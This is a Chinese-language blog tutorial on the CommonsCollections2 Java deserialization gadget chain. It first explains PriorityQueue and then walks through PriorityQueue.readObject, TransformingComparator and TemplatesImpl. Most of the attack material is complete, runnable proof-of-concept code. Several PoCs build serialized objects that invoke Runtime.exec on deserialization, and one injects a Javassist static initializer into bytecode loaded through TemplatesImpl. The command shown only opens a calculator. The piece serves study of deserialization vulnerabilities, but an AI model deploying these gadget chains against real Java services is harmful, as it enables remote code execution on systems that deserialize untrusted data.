环境搭建
jdk8U202
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.1</version>
</dependency>
PriorityQueue 简介
Queue 是一个 FIFO(先进先出),但是现在有很多业务都是带 VIP 服务的,尊贵的 VIP 怎么可以等待?摇号结束下一位就要是它,那么 Queue 就不够用了,PriorityQueue 此时闪亮登场,相当于代理了 Queue,有一个增强服务,如果有 VIP 来了那么先让 VIP 去办理业务。
常用方法
PriorityQueue()
使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。PriorityQueue(int initialCapacity, Comparator<? super E> comparator)
指定的初始容量创建一个 PriorityQueue,并根据指定比较器对元素进行排序.add(E e)
将指定的元素插入此优先级队列clear()
从此优先级队列中移除所有元素。-
comparator()
返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null contains(Object o)
如果此队列包含指定的元素,则返回 true。iterator()
返回在此队列中的元素上进行迭代的迭代器。offer(E e)
将指定的元素插入此优先级队列peek()
获取但不移除此队列的头;如果此队列为空,则返回 null。poll()
获取并移除此队列的头,如果此队列为空,则返回 null。remove(Object o)
从此队列中移除指定元素的单个实例(如果存在)。size()
返回此 collection 中的元素数。toArray()
返回一个包含此队列所有元素的数组。
举个栗子
package com.yq1ng.cc2;
import java.util.PriorityQueue;
import java.util.Queue;
/**
* priorityQueue
*
* @author yq1ng
* @date 2021/11/16 22:21
* @since 1.0.0
*/
public class priorityQueue {
public static void main(String[] args) {
Queue queue = new PriorityQueue();
queue.add("flag");
queue.add("admin");
queue.add("yq1ng");
System.out.println(queue.poll());
System.out.println(queue.poll());
System.out.println(queue.poll());
}
}
可以看到并不是先进先出,他会自动排序,但是 PriorityQueue 允许我们提供一个 Comparator 对象来判断两个元素的顺序,这里使用廖雪峰的示例
public class priorityQueue {
public static void main(String[] args) {
Queue<User> q = new PriorityQueue<>(new UserComparator());
// 添加3个元素到队列:
q.offer(new User("Bob", "A1"));
q.offer(new User("Alice", "A2"));
q.offer(new User("Boss", "V1"));
System.out.println(q.poll()); // Boss/V1
System.out.println(q.poll()); // Bob/A1
System.out.println(q.poll()); // Alice/A2
System.out.println(q.poll()); // null,因为队列为空
}
}
class UserComparator implements Comparator<User> {
public int compare(User u1, User u2) {
if (u1.number.charAt(0) == u2.number.charAt(0)) {
// 如果两人的号都是A开头或者都是V开头,比较号的大小:
return u1.number.compareTo(u2.number);
}
if (u1.number.charAt(0) == 'V') {
// u1的号码是V开头,优先级高:
return -1;
} else {
return 1;
}
}
}
class User {
public final String name;
public final String number;
public User(String name, String number) {
this.name = name;
this.number = number;
}
public String toString() {
return name + "/" + number;
}
}
/*
output:
Boss/V1
Bob/A1
Alice/A2
null
*/
PriorityQueue 链分析
先看 java/util/PriorityQueue.java#readObject()
,发现会对传入的 ObjectInputStream 进行反序列化,并赋值给 queue[i]
这里的 queue[i] 是 readObject()
得到的,也就是说会在 writeObject()
写入内容
可以通过反射,控制 queue[i] 写入恶意内容,在反序列化的时候触发。继续跟 readObject()
的最后一句 heapify()
这里想要进入循环需要 size > 1
,看一下 size 的定义
原来是 queue 的个数,那么在反射后加上两个值就行
继续跟进 siftDown()
继续跟 siftDownUsingComparator()
注意 699 行,x 是我们上面设置的恶意内容。跟踪 Comparator
可知其是一个接口,找一下实现类
看到了老朋友,用 cc1 就可以触发了
编写 POC
package com.yq1ng.cc2;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.util.PriorityQueue;
/**
* @author ying
* @Description
* @create 2021-11-17 4:13 PM
*/
public class test {
public static void main(String[] args) {
ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}));
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1, comparator);
queue.add(1);
queue.add(2);
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc2/cc2test.txt"));
oos.writeObject(queue);
oos.close();
System.out.println(bos.toString());
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc2/cc2test.txt"));
ois.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
运行后弹了两个计算器,但是并未生成cc2test
文件,抛出的异常在queue.add(2);
,debug 启动
一路跟下来,注意下图
这里需要这个函数的返回值 <0
才不会 break,继续跟进去
这里执行了两次恶意链,所以弹了两个计算器。既然直接传入恶意 comparator 会在生成 poc 的时候直接执行,那么就先不传 comparator 的,也就是comparator==null
,那么siftUp()
就会进入第二个函数,siftUpComparable()
这个函数不会触发恶意链,在增加完两个值后,使用反射对 comparator
进行赋值,酱紫就会在序列化的时候不会触发恶意 comparator,而在反序列化的时候触发恶意 comparator,poc 如下
package com.yq1ng.cc2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* @author ying
* @Description
* @create 2021-11-13 10:22 PM
*/
public class cc2 {
public static void main(String[] args) throws Exception {
// 创建处理链
ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}));
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue();
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc2/cc2.ser"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc2/cc2.ser"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
Javassist
详细教程:https://www.cnblogs.com/rickiyang/p/11336268.htm
官方网站:http://www.javassist.org/
TemplatesImpl
先看TemplatesImpl#newTransformer()
其中调用了getTransletInstance()
这里 _name
不能为 null,_class
需要为 null,通过反射去设置值;再看 defineTransletClasses()
_bytecodes
、_tfactory
不能为 null,一样反射设置
然后注意 415 行
这里将 bytes 还原为 class,然后_class[_transletIndex].getConstructor().newInstance()
又进行了实例化,那么使用 Javassist 写一个 static 块进去,实例化的话就会触发恶意代码
但是看 419 行, _bytecodes
需要继承 AbstractTranslet
,这个需要注意
package com.yq1ng.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.Field;
/**
* @author ying
* @Description
* @create 2021-11-19 14:10
*/
public class TemplatesImplTest {
public static void main(String[] args) throws Exception {
// 返回默认的ClassPool
ClassPool pool = ClassPool.getDefault();
// 将一个ClassPath加到类搜索路径起始位置
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
// 根据类名创建新的CtClass对象
CtClass ctClass = pool.makeClass("Test");
// CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
// 设置继承类名
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 设置插入代码,多个语句需要{}包括
String cmd = "Runtime.getRuntime().exec(\"calc\");";
// 创建空的构造函数(静态)
CtConstructor ctConstructor = ctClass.makeClassInitializer();
// 在方法的起始位置插入代码
ctConstructor.insertBefore(cmd);
// 根据CtClass生成 .class 文件
ctClass.writeFile("./src/main/java/com/yq1ng/cc2/");
// 将文件转为字节码
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
setFieled(templates,clazz,"_name","tttt");
setFieled(templates,clazz,"_class",null);
setFieled(templates,clazz,"_bytecodes",new byte[][]{bytes});
setFieled(templates,clazz,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieled(TemplatesImpl templates,Class clas ,String fieled,Object obj) throws Exception{
Field _field = clas.getDeclaredField(fieled);
_field.setAccessible(true);
_field.set(templates,obj);
}
}
poc2
上面的 PriorityQueue 只能执行命令,这里使用 Javasstis 触发TemplatesImpl#newTransformer()
就可以执行恶意代码,使用InvokerTransformer
调用TemplatesImpl#newTransformer()
package com.yq1ng.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* @author ying
* @Description
* @create 2021-11-19 9:51
*/
public class realCC2 {
public static void main(String[] args) throws Exception{
// 使用InvokerTransformer触发TemplatesImpl#newTransformer()
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
// 虽然上面设置了类名为Cat,但是下面将类名更改为EvilCat+时间戳
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
// 没必要写文件的哈哈哈
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "yq1ng");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
// 这里没有使用queue.add(),所以使用反射直接设置size的值为2
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc2/cc2.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc2/cc2.ser"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
细心的同学会发现,这里并未反射设置 _tfactory
,debug 看看
在调用newTransformer()
的时候他已经有值了,至于为什么,暂时不去深入了
参考
Java 反序列化-CommonsCollections2 分析
通俗易懂的 Java Commons Collection 2 分析
Java 安全之反序列化篇-URLDNS&Commons Collections 1-7 反序列化链分析
javassist 使用全解析